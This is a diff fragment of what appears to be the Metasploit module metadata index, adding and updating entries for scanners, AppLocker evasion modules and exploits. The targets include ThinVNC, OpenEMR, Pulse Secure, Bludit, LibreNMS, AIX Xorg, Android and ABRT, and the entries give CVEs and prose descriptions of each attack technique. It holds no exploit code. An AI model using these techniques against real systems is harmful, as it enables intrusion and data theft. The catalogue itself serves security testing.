"fullname": "auxiliary/scanner/http/f5_bigip_virtual_server",
@@ -24918,7 +25410,7 @@
"https"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-10-05 14:13:38 +0000",
"path": "/modules/auxiliary/scanner/http/http_header.rb",
"is_install_path": true,
"ref_name": "scanner/http/http_header",
@@ -25359,7 +25851,7 @@
"MinatoTW <shaks19jais@gmail.com>",
"egre55 <ianaustin@protonmail.com>"
],
"description": "The vulnerability is caused by a tilde character \"~\" in a GET or OPTIONS request, which\n could allow remote attackers to diclose 8.3 filenames (short names). In 2010, Soroush Dalili\n and Ali Abbasnejad discovered the original bug (GET request). This was publicly disclosed in\n 2012. In 2014, Soroush Dalili discovered that newer IIS installations are vulnerable with OPTIONS.",
"description": "The vulnerability is caused by a tilde character \"~\" in a GET or OPTIONS request, which\n could allow remote attackers to disclose 8.3 filenames (short names). In 2010, Soroush Dalili\n and Ali Abbasnejad discovered the original bug (GET request). This was publicly disclosed in\n 2012. In 2014, Soroush Dalili discovered that newer IIS installations are vulnerable with OPTIONS.",
"references": [
"URL-https://soroush.secproject.com/blog/tag/iis-tilde-vulnerability",
"URL-https://support.detectify.com/customer/portal/articles/1711520-microsoft-iis-tilde-vulnerability"
@@ -25383,7 +25875,7 @@
"https"
],
"targets": null,
"mod_time": "2019-02-22 09:01:11 +0000",
"mod_time": "2019-10-03 12:28:54 +0000",
"path": "/modules/auxiliary/scanner/http/iis_shortname_scanner.rb",
"is_install_path": true,
"ref_name": "scanner/http/iis_shortname_scanner",
@@ -25597,6 +26089,7 @@
"description": "This module queries the JBoss status servlet to collect sensitive\n information, including URL paths, GET parameters and client IP addresses.\n This module has been tested against JBoss 4.0, 4.2.2 and 4.2.3.",
"references": [
"CVE-2008-3273",
"CVE-2010-1429",
"URL-https://seclists.org/fulldisclosure/2011/Sep/139",
"URL-https://www.owasp.org/images/a/a9/OWASP3011_Luca.pdf",
"URL-http://www.slideshare.net/chrisgates/lares-fromlowtopwned"
@@ -25620,7 +26113,7 @@
"https"
],
"targets": null,
"mod_time": "2018-09-15 18:54:45 +0000",
"mod_time": "2019-09-11 14:05:21 +0000",
"path": "/modules/auxiliary/scanner/http/jboss_status.rb",
"is_install_path": true,
"ref_name": "scanner/http/jboss_status",
@@ -25646,7 +26139,10 @@
],
"description": "This module scans a JBoss instance for a few vulnerabilities.",
"references": [
"CVE-2008-3273",
"CVE-2010-1429",
"CVE-2010-0738",
"CVE-2010-1428",
"CVE-2017-12149"
],
"platform": "",
@@ -25668,7 +26164,7 @@
"https"
],
"targets": null,
"mod_time": "2019-02-13 16:10:32 +0000",
"mod_time": "2019-09-13 01:04:28 +0000",
"path": "/modules/auxiliary/scanner/http/jboss_vulnscan.rb",
"is_install_path": true,
"ref_name": "scanner/http/jboss_vulnscan",
@@ -29775,6 +30271,57 @@
},
"needs_cleanup": false
},
"auxiliary_scanner/http/thinvnc_traversal": {
"name": "ThinVNC Directory Traversal",
"fullname": "auxiliary/scanner/http/thinvnc_traversal",
"aliases": [
],
"rank": 300,
"disclosure_date": "2019-10-16",
"type": "auxiliary",
"author": [
"jinxbox",
"WarMarX",
"bcoles <bcoles@gmail.com>"
],
"description": "This module exploits a directory traversal vulnerability in ThinVNC\n versions 1.0b1 and prior which allows unauthenticated users to retrieve\n arbitrary files, including the ThinVNC configuration file.\n\n This module has been tested successfully on ThinVNC versions 1.0b1\n and \"ThinVNC_Latest\" (2018-12-07).",
"references": [
"CVE-2019-17662",
"URL-https://github.com/bewest/thinvnc/issues/5",
"URL-https://github.com/shashankmangal2/Exploits/blob/master/ThinVNC-RemoteAccess/POC.py",
"URL-https://redteamzone.com/ThinVNC/"
],
"platform": "",
"arch": "",
"rport": 8080,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2019-10-17 07:44:19 +0000",
"path": "/modules/auxiliary/scanner/http/thinvnc_traversal.rb",
"is_install_path": true,
"ref_name": "scanner/http/thinvnc_traversal",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_scanner/http/titan_ftp_admin_pwd": {
"name": "Titan FTP Administrative Password Disclosure",
"fullname": "auxiliary/scanner/http/titan_ftp_admin_pwd",
@@ -31131,7 +31678,7 @@
"https"
],
"targets": null,
"mod_time": "2018-07-03 12:21:38 +0000",
"mod_time": "2019-09-23 15:29:38 +0000",
"path": "/modules/auxiliary/scanner/http/wp_arbitrary_file_deletion.rb",
"is_install_path": true,
"ref_name": "scanner/http/wp_arbitrary_file_deletion",
@@ -31203,7 +31750,7 @@
"Kacper Szurek",
"Roberto Soares Espreto <robertoespreto@gmail.com>"
],
"description": "This module exploits a directory traversal vulnerability in WordPress Plugin\n \"DukaPress\" version 2.5.2, allowing to read arbitrary files with the\n web server privileges.",
"description": "This module exploits a directory traversal vulnerability in WordPress Plugin\n \"DukaPress\" version <= 2.5.3, allowing to read arbitrary files with the\n web server privileges.",
"references": [
"EDB-35346",
"CVE-2014-8799",
@@ -31229,7 +31776,7 @@
"https"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-10-10 15:05:57 +0000",
"path": "/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb",
"is_install_path": true,
"ref_name": "scanner/http/wp_dukapress_file_read",
@@ -34888,7 +35435,7 @@
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-10-05 14:13:38 +0000",
"path": "/modules/auxiliary/scanner/oracle/oracle_login.rb",
"is_install_path": true,
"ref_name": "scanner/oracle/oracle_login",
@@ -35703,7 +36250,7 @@
"postgres"
],
"targets": null,
"mod_time": "2019-06-27 17:06:32 +0000",
"mod_time": "2019-10-05 14:13:38 +0000",
"path": "/modules/auxiliary/scanner/postgres/postgres_login.rb",
"is_install_path": true,
"ref_name": "scanner/postgres/postgres_login",
@@ -35826,7 +36373,7 @@
"https"
],
"targets": null,
"mod_time": "2019-02-22 17:01:49 +0000",
"mod_time": "2019-10-05 14:22:18 +0000",
"path": "/modules/auxiliary/scanner/printer/canon_iradv_pwd_extract.rb",
"is_install_path": true,
"ref_name": "scanner/printer/canon_iradv_pwd_extract",
@@ -36220,7 +36767,8 @@
"description": "This module checks a range of hosts for the CVE-2019-0708 vulnerability\n by binding the MS_T120 channel outside of its normal slot and sending\n non-DoS packets which respond differently on patched and vulnerable hosts.\n It can optionally trigger the DoS vulnerability.",
"references": [
"CVE-2019-0708",
"URL-https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708"
"URL-https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708",
"URL-https://zerosum0x0.blogspot.com/2019/05/avoiding-dos-how-bluekeep-scanners-work.html"
],
"platform": "",
"arch": "",
@@ -36232,7 +36780,7 @@
],
"targets": null,
"mod_time": "2019-08-07 19:25:43 +0000",
"mod_time": "2019-11-11 17:33:10 +0000",
"path": "/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb",
"is_install_path": true,
"ref_name": "scanner/rdp/cve_2019_0708_bluekeep",
@@ -36317,7 +36865,7 @@
],
"targets": null,
"mod_time": "2019-08-13 10:56:03 +0000",
"mod_time": "2019-08-23 22:33:18 +0000",
"path": "/modules/auxiliary/scanner/rdp/rdp_scanner.rb",
"is_install_path": true,
"ref_name": "scanner/rdp/rdp_scanner",
@@ -36946,7 +37494,7 @@
"https"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-11-05 21:45:05 +0000",
"path": "/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb",
"is_install_path": true,
"ref_name": "scanner/sap/sap_mgmt_con_brute_login",
@@ -37727,7 +38275,7 @@
"https"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-10-05 14:13:38 +0000",
"path": "/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb",
"is_install_path": true,
"ref_name": "scanner/sap/sap_soap_rfc_brute_login",
@@ -38341,7 +38889,7 @@
"https"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-10-05 14:13:38 +0000",
"path": "/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb",
"is_install_path": true,
"ref_name": "scanner/sap/sap_web_gui_brute_login",
@@ -38643,7 +39191,8 @@
"EsMnemon <esm@mnemonic.no>",
"Arnaud SOULLIE <arnaud.soullie@solucom.fr>",
"Alexandrine TORRENTS <alexandrine.torrents@eurecom.fr>",
"Mathieu CHEVALIER <mathieu.chevalier@eurecom.fr>"
"Mathieu CHEVALIER <mathieu.chevalier@eurecom.fr>",
"AZSG <AstroZombieSG@gmail.com>"
],
"description": "This module allows reading and writing data to a PLC using the Modbus protocol.\n This module is based on the 'modiconstop.rb' Basecamp module from DigitalBond,\n as well as the mbtget perl script.",
"references": [
@@ -38659,7 +39208,7 @@
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-09-07 23:54:43 +0000",
"path": "/modules/auxiliary/scanner/scada/modbusclient.rb",
"is_install_path": true,
"ref_name": "scanner/scada/modbusclient",
@@ -39753,7 +40302,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2018-05-07 00:13:11 +0000",
"mod_time": "2019-10-02 20:22:51 +0000",
"path": "/modules/auxiliary/scanner/smb/smb_version.rb",
"is_install_path": true,
"ref_name": "scanner/smb/smb_version",
@@ -40613,7 +41162,7 @@
],
"targets": null,
"mod_time": "2018-08-15 06:48:35 +0000",
"mod_time": "2019-09-23 15:29:38 +0000",
"path": "/modules/auxiliary/scanner/ssh/apache_karaf_command_execution.rb",
"is_install_path": true,
"ref_name": "scanner/ssh/apache_karaf_command_execution",
@@ -40903,6 +41452,43 @@
},
"needs_cleanup": false
},
"auxiliary_scanner/ssh/ssh_enum_git_keys": {
"name": "Test SSH Github Access",
"fullname": "auxiliary/scanner/ssh/ssh_enum_git_keys",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Wyatt Dahlenburg ( <Wyatt Dahlenburg (@wdahlenb)>"
],
"description": "This module will attempt to test remote Git access using\n (.ssh/id_* private keys). This works against GitHub and\n GitLab by default, but can easily be extended to support\n more server types.",
"references": [
"URL-https://help.github.com/en/articles/testing-your-ssh-connection"
],
"platform": "Linux",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2019-11-27 11:18:01 +0000",
"path": "/modules/auxiliary/scanner/ssh/ssh_enum_git_keys.rb",
"is_install_path": true,
"ref_name": "scanner/ssh/ssh_enum_git_keys",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_scanner/ssh/ssh_enumusers": {
"name": "SSH Username Enumeration",
"fullname": "auxiliary/scanner/ssh/ssh_enumusers",
@@ -42746,6 +43332,50 @@
},
"needs_cleanup": false
},
"auxiliary_scanner/vxworks/urgent11_check": {
"name": "URGENT/11 Scanner, Based on Detection Tool by Armis",
"fullname": "auxiliary/scanner/vxworks/urgent11_check",
"aliases": [
],
"rank": 300,
"disclosure_date": "2019-08-09",
"type": "auxiliary",
"author": [
"Ben Seri",
"Brent Cook",
"wvu <wvu@metasploit.com>"
],
"description": "This module detects VxWorks and the IPnet IP stack, along with devices\n vulnerable to CVE-2019-12258.",
"references": [
"CVE-2019-12258",
"URL-https://armis.com/urgent11",
"URL-https://github.com/ArmisSecurity/urgent11-detector"
],
"platform": "",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2019-10-21 10:43:28 +0000",
"path": "/modules/auxiliary/scanner/vxworks/urgent11_check.rb",
"is_install_path": true,
"ref_name": "scanner/vxworks/urgent11_check",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
]
},
"needs_cleanup": false
},
"auxiliary_scanner/vxworks/wdbrpc_bootline": {
"name": "VxWorks WDB Agent Boot Parameter Scanner",
"fullname": "auxiliary/scanner/vxworks/wdbrpc_bootline",
@@ -45300,6 +45930,53 @@
},
"needs_cleanup": false
},
"auxiliary_sqli/openemr/openemr_sqli_dump": {
"name": "OpenEMR 5.0.1 Patch 6 SQLi Dump",
"fullname": "auxiliary/sqli/openemr/openemr_sqli_dump",
"aliases": [
],
"rank": 300,
"disclosure_date": "2019-05-17",
"type": "auxiliary",
"author": [
"Will Porter <will.porter@lodestonesecurity.com>"
],
"description": "This module exploits a SQLi vulnerability found in\n OpenEMR version 5.0.1 Patch 6 and lower. The\n vulnerability allows the contents of the entire\n database (with exception of log and task tables) to be\n extracted.\n This module saves each table as a `.csv` file in your\n loot directory and has been tested with\n OpenEMR 5.0.1 (3).",
"references": [
"CVE-2018-17179",
"URL-https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617"
],
"platform": "",
"arch": "",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2019-09-23 15:29:38 +0000",
"path": "/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb",
"is_install_path": true,
"ref_name": "sqli/openemr/openemr_sqli_dump",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_sqli/oracle/dbms_cdc_ipublish": {
"name": "Oracle DB SQL Injection via SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE",
"fullname": "auxiliary/sqli/oracle/dbms_cdc_ipublish",
@@ -47983,6 +48660,114 @@
},
"needs_cleanup": false
},
"evasion_windows/applocker_evasion_presentationhost": {
"name": "Applocker Evasion - Windows Presentation Foundation Host",
"fullname": "evasion/windows/applocker_evasion_presentationhost",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "evasion",
"author": [
"Nick Tyrer <@NickTyrer>",
"Casey Smith"
],
"description": "This module will assist you in evading Microsoft\n Windows Applocker and Software Restriction Policies.\n This technique utilises the Microsoft signed binary\n PresentationHost.exe to execute user supplied code.",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": [
"Microsoft Windows"
],
"mod_time": "2019-08-03 10:41:13 +0000",
"path": "/modules/evasion/windows/applocker_evasion_presentationhost.rb",
"is_install_path": true,
"ref_name": "windows/applocker_evasion_presentationhost",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"evasion_windows/applocker_evasion_regasm_regsvcs": {
"name": "Applocker Evasion - Microsoft .NET Assembly Registration Utility",
"fullname": "evasion/windows/applocker_evasion_regasm_regsvcs",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "evasion",
"author": [
"Nick Tyrer <@NickTyrer>",
"Casey Smith"
],
"description": "This module will assist you in evading Microsoft\n Windows Applocker and Software Restriction Policies.\n This technique utilises the Microsoft signed binaries\n RegAsm.exe or RegSvcs.exe to execute user supplied code.",
"references": [
"URL-https://attack.mitre.org/techniques/T1121/"
],
"platform": "Windows",
"arch": "x86, x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": [
"Microsoft Windows"
],
"mod_time": "2019-08-08 18:36:36 +0000",
"path": "/modules/evasion/windows/applocker_evasion_regasm_regsvcs.rb",
"is_install_path": true,
"ref_name": "windows/applocker_evasion_regasm_regsvcs",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"evasion_windows/applocker_evasion_workflow_compiler": {
"name": "Applocker Evasion - Microsoft Workflow Compiler",
"fullname": "evasion/windows/applocker_evasion_workflow_compiler",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "evasion",
"author": [
"Nick Tyrer <@NickTyrer>",
"Matt Graeber"
],
"description": "This module will assist you in evading Microsoft\n Windows Applocker and Software Restriction Policies.\n This technique utilises the Microsoft signed binaries\n Microsoft.Workflow.Compiler.exe to execute user supplied code.",
"references": [
"URL-https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb"
],
"platform": "Windows",
"arch": "x86, x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": [
"Microsoft Windows"
],
"mod_time": "2019-08-08 18:48:10 +0000",
"path": "/modules/evasion/windows/applocker_evasion_workflow_compiler.rb",
"is_install_path": true,
"ref_name": "windows/applocker_evasion_workflow_compiler",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"evasion_windows/windows_defender_exe": {
"name": "Microsoft Windows Defender Evasive Executable",
"fullname": "evasion/windows/windows_defender_exe",
@@ -48100,6 +48885,55 @@
},
"needs_cleanup": true
},
"exploit_aix/local/xorg_x11_server": {
"name": "Xorg X11 Server Local Privilege Escalation",
"fullname": "exploit/aix/local/xorg_x11_server",
"aliases": [
],
"rank": 500,
"disclosure_date": "2018-10-25",
"type": "exploit",
"author": [
"Narendra Shinde",
"Zack Flack <dzflack@gmail.com>"
],
"description": "WARNING: Successful execution of this module results in /etc/passwd being overwritten.\n\n This module is a port of the OpenBSD X11 Xorg exploit to run on AIX.\n\n A permission check flaw exists for -modulepath and -logfile options when\n starting Xorg. This allows unprivileged users that can start the server\n the ability to elevate privileges and run arbitrary code under root\n privileges.\n\n This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1.\n Due to permission restrictions of the crontab in AIX, this module does not use cron,\n and instead overwrites /etc/passwd in order to create a new user with root privileges.\n All currently logged in users need to be included when /etc/passwd is overwritten,\n else AIX will throw 'Cannot get \"LOGNAME\" variable' when attempting to change user.\n The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX,\n and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when\n overwriting /etc/passwd.",
"references": [
"CVE-2018-14665",
"URL-https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html",
"URL-https://aix.software.ibm.com/aix/efixes/security/xorg_advisory3.asc",
"URL-https://github.com/dzflack/exploits/blob/master/aix/aixxorg.pl",
"EDB-45938"
],
"platform": "Unix",
"arch": "cmd",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"IBM AIX Version 6.1",
"IBM AIX Version 7.1",
"IBM AIX Version 7.2"
],
"mod_time": "2019-11-11 14:28:07 +0000",
"path": "/modules/exploits/aix/local/xorg_x11_server.rb",
"is_install_path": true,
"ref_name": "aix/local/xorg_x11_server",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"SideEffects": [
"config-changes"
]
},
"needs_cleanup": true
},
"exploit_aix/rpc_cmsd_opcode21": {
"name": "AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow",
"fullname": "exploit/aix/rpc_cmsd_opcode21",
@@ -48487,17 +49321,71 @@
"Old Samsung",
"Samsung Grand"
],
"mod_time": "2017-08-28 20:17:58 +0000",
"mod_time": "2019-10-23 14:45:32 +0000",
"path": "/modules/exploits/android/local/futex_requeue.rb",
"is_install_path": true,
"ref_name": "android/local/futex_requeue",
"check": false,
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"AKA": [
"towelroot"
]
},
"needs_cleanup": null
},
"exploit_android/local/janus": {
"name": "Android Janus APK Signature bypass",
"fullname": "exploit/android/local/janus",
"aliases": [
],
"rank": 0,
"disclosure_date": "2017-07-31",
"type": "exploit",
"author": [
"GuardSquare",
"V-E-O",
"timwr",
"h00die"
],
"description": "This module exploits CVE-2017-13156 in Android to install a payload into another\n application. The payload APK will have the same signature and can be installed\n as an update, preserving the existing data.\n The vulnerability was fixed in the 5th December 2017 security patch, and was\n additionally fixed by the APK Signature scheme v2, so only APKs signed with\n the v1 scheme are vulnerable.\n Payload handler is disabled, and a multi/handler must be started first.",
"references": [
"CVE-2017-13156",
"URL-https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures",
"URL-https://github.com/V-E-O/PoC/tree/master/CVE-2017-13156"
],
"platform": "Android",
"arch": "dalvik",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Automatic"
],
"mod_time": "2019-11-06 14:59:49 +0000",
"path": "/modules/exploits/android/local/janus.rb",
"is_install_path": true,
"ref_name": "android/local/janus",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"SideEffects": [
"ARTIFACTS_ON_DISK",
"SCREEN_EFFECTS"
],
"Stability": [
"SERVICE_RESOURCE_LOSS"
]
},
"needs_cleanup": true
},
"exploit_android/local/put_user_vroot": {
"name": "Android get_user/put_user Exploit",
"fullname": "exploit/android/local/put_user_vroot",
@@ -50447,6 +51335,66 @@
},
"needs_cleanup": null
},
"exploit_linux/http/bludit_upload_images_exec": {
"name": "Bludit Directory Traversal Image File Upload Vulnerability",
"fullname": "exploit/linux/http/bludit_upload_images_exec",
"aliases": [
],
"rank": 600,
"disclosure_date": "2019-09-07",
"type": "exploit",
"author": [
"christasa",
"sinn3r <sinn3r@metasploit.com>"
],
"description": "This module exploits a vulnerability in Bludit. A remote user could abuse the uuid\n parameter in the image upload feature in order to save a malicious payload anywhere\n onto the server, and then use a custom .htaccess file to bypass the file extension\n check to finally get remote code execution.",
"references": [
"CVE-2019-16113",
"URL-https://github.com/bludit/bludit/issues/1081",
"URL-https://github.com/bludit/bludit/commit/a9640ff6b5f2c0fa770ad7758daf24fec6fbf3f5#diff-6f5ea518e6fc98fb4c16830bbf9f5dac"
],
"platform": "PHP",
"arch": "php",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Bludit v3.9.2"
],
"mod_time": "2019-11-11 14:47:56 +0000",
"path": "/modules/exploits/linux/http/bludit_upload_images_exec.rb",
"is_install_path": true,
"ref_name": "linux/http/bludit_upload_images_exec",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"SideEffects": [
"ioc-in-logs"
],
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-safe"
]
},
"needs_cleanup": true
},
"exploit_linux/http/centreon_sqli_exec": {
"name": "Centreon SQL and Command Injection",
"fullname": "exploit/linux/http/centreon_sqli_exec",
@@ -50973,7 +51921,7 @@
"Cisco RV215W 1.3.0.7",
"Cisco RV215W 1.3.0.8"
],
"mod_time": "2019-08-30 12:03:43 +0000",
"mod_time": "2019-10-27 11:25:56 +0000",
"path": "/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb",
"is_install_path": true,
"ref_name": "linux/http/cve_2019_1663_cisco_rmi_rce",
@@ -53587,6 +54535,56 @@
},
"needs_cleanup": null
},
"exploit_linux/http/librenms_collectd_cmd_inject": {
"name": "LibreNMS Collectd Command Injection",
"fullname": "exploit/linux/http/librenms_collectd_cmd_inject",
"aliases": [
],
"rank": 600,
"disclosure_date": "2019-07-15",
"type": "exploit",
"author": [
"Eldar Marcussen",
"Shelby Pace"
],
"description": "This module exploits a command injection vulnerability in the\n Collectd graphing functionality in LibreNMS.\n\n The `to` and `from` parameters used to define the range for\n a graph are sanitized using the `mysqli_escape_real_string()`\n function, which permits backticks. These parameters are used\n as part of a shell command that gets executed via the `passthru()`\n function, which can result in code execution.",
"references": [
"CVE-2019-10669",
"URL-https://www.darkmatter.ae/xen1thlabs/librenms-command-injection-vulnerability-xl-19-017/"
],
"platform": "Unix",
"arch": "cmd",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Linux"
],
"mod_time": "2019-08-13 13:39:15 +0000",
"path": "/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb",
"is_install_path": true,
"ref_name": "linux/http/librenms_collectd_cmd_inject",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"exploit_linux/http/lifesize_uvc_ping_rce": {
"name": "LifeSize UVC Authenticated RCE via Ping",
"fullname": "exploit/linux/http/lifesize_uvc_ping_rce",
@@ -55697,6 +56695,73 @@
},
"needs_cleanup": null
},
"exploit_linux/http/pulse_secure_cmd_exec": {
"name": "Pulse Secure VPN Arbitrary Command Execution",
"fullname": "exploit/linux/http/pulse_secure_cmd_exec",
"aliases": [
],
"rank": 600,
"disclosure_date": "2019-04-24",
"type": "exploit",
"author": [
"Orange Tsai",
"Meh Chang",
"wvu <wvu@metasploit.com>"
],
"description": "This module exploits a post-auth command injection in the Pulse Secure\n VPN server to execute commands as root. The env(1) command is used to\n bypass application whitelisting and run arbitrary commands.\n\n Please see related module auxiliary/gather/pulse_secure_file_disclosure\n for a pre-auth file read that is able to obtain plaintext and hashed\n credentials, plus session IDs that may be used with this exploit.\n\n A valid administrator session ID is required in lieu of untested SSRF.",
"references": [
"CVE-2019-11539",
"URL-https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/",
"URL-https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html",
"URL-https://hackerone.com/reports/591295"
],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Unix In-Memory",
"Linux Dropper"
],
"mod_time": "2019-11-12 02:17:58 +0000",
"path": "/modules/exploits/linux/http/pulse_secure_cmd_exec.rb",
"is_install_path": true,
"ref_name": "linux/http/pulse_secure_cmd_exec",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
],
"RelatedModules": [
"auxiliary/gather/pulse_secure_file_disclosure"
]
},
"needs_cleanup": null
},
"exploit_linux/http/qnap_qcenter_change_passwd_exec": {
"name": "QNAP Q'Center change_passwd Command Execution",
"fullname": "exploit/linux/http/qnap_qcenter_change_passwd_exec",
@@ -57238,7 +58303,7 @@
"targets": [
"Ubiquiti airOS < 5.6.2"
],
"mod_time": "2019-08-22 11:27:32 +0000",
"mod_time": "2019-10-27 11:25:56 +0000",
"path": "/modules/exploits/linux/http/ubiquiti_airos_file_upload.rb",
"is_install_path": true,
"ref_name": "linux/http/ubiquiti_airos_file_upload",
@@ -58151,6 +59216,52 @@
},
"needs_cleanup": true
},
"exploit_linux/local/abrt_sosreport_priv_esc": {
"name": "ABRT sosreport Privilege Escalation",
"fullname": "exploit/linux/local/abrt_sosreport_priv_esc",
"aliases": [
],
"rank": 600,
"disclosure_date": "2015-11-23",
"type": "exploit",
"author": [
"rebel",
"bcoles <bcoles@gmail.com>"
],
"description": "This module attempts to gain root privileges on RHEL systems with\n a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured\n as the crash handler.\n\n `sosreport` uses an insecure temporary directory, allowing local users\n to write to arbitrary files (CVE-2015-5287). This module uses a symlink\n attack on `/var/tmp/abrt/cc-*$pid/` to overwrite the `modprobe` path\n in `/proc/sys/kernel/modprobe`, resulting in root privileges.\n\n Waiting for `sosreport` could take a few minutes.\n\n This module has been tested successfully on:\n\n abrt 2.1.11-12.el7 on RHEL 7.0 x86_64; and\n abrt 2.1.11-19.el7 on RHEL 7.1 x86_64.",
"references": [
"BID-78137",
"CVE-2015-5287",
"EDB-38832",
"URL-https://www.openwall.com/lists/oss-security/2015/12/01/1",
"URL-https://access.redhat.com/errata/RHSA-2015:2505",
"URL-https://access.redhat.com/security/cve/CVE-2015-5287",
"URL-https://bugzilla.redhat.com/show_bug.cgi?id=1266837"
],
"platform": "Linux",
"arch": "x86, x64, armle, aarch64, ppc, mipsle, mipsbe",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Auto"
],
"mod_time": "2019-05-30 04:24:53 +0000",
"path": "/modules/exploits/linux/local/abrt_sosreport_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/abrt_sosreport_priv_esc",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": true
},
"exploit_linux/local/af_packet_chocobo_root_priv_esc": {
"name": "AF_PACKET chocobo_root Privilege Escalation",
"fullname": "exploit/linux/local/af_packet_chocobo_root_priv_esc",
@@ -58189,7 +59300,7 @@
"targets": [
"Auto"
],
"mod_time": "2019-01-10 19:19:14 +0000",
"mod_time": "2019-11-03 00:33:24 +0000",
"path": "/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/af_packet_chocobo_root_priv_esc",
@@ -58199,6 +59310,12 @@
"notes": {
"AKA": [
"chocobo_root.c"
],
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-os-down"
]
},
"needs_cleanup": true
@@ -58239,7 +59356,7 @@
"targets": [
"Auto"
],
"mod_time": "2019-01-10 19:19:14 +0000",
"mod_time": "2019-11-03 00:33:24 +0000",
"path": "/modules/exploits/linux/local/af_packet_packet_set_ring_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/af_packet_packet_set_ring_priv_esc",
@@ -58247,6 +59364,12 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-os-down"
]
},
"needs_cleanup": true
},
@@ -58374,7 +59497,7 @@
"targets": [
"Auto"
],
"mod_time": "2019-08-02 09:48:53 +0000",
"mod_time": "2019-11-03 00:33:24 +0000",
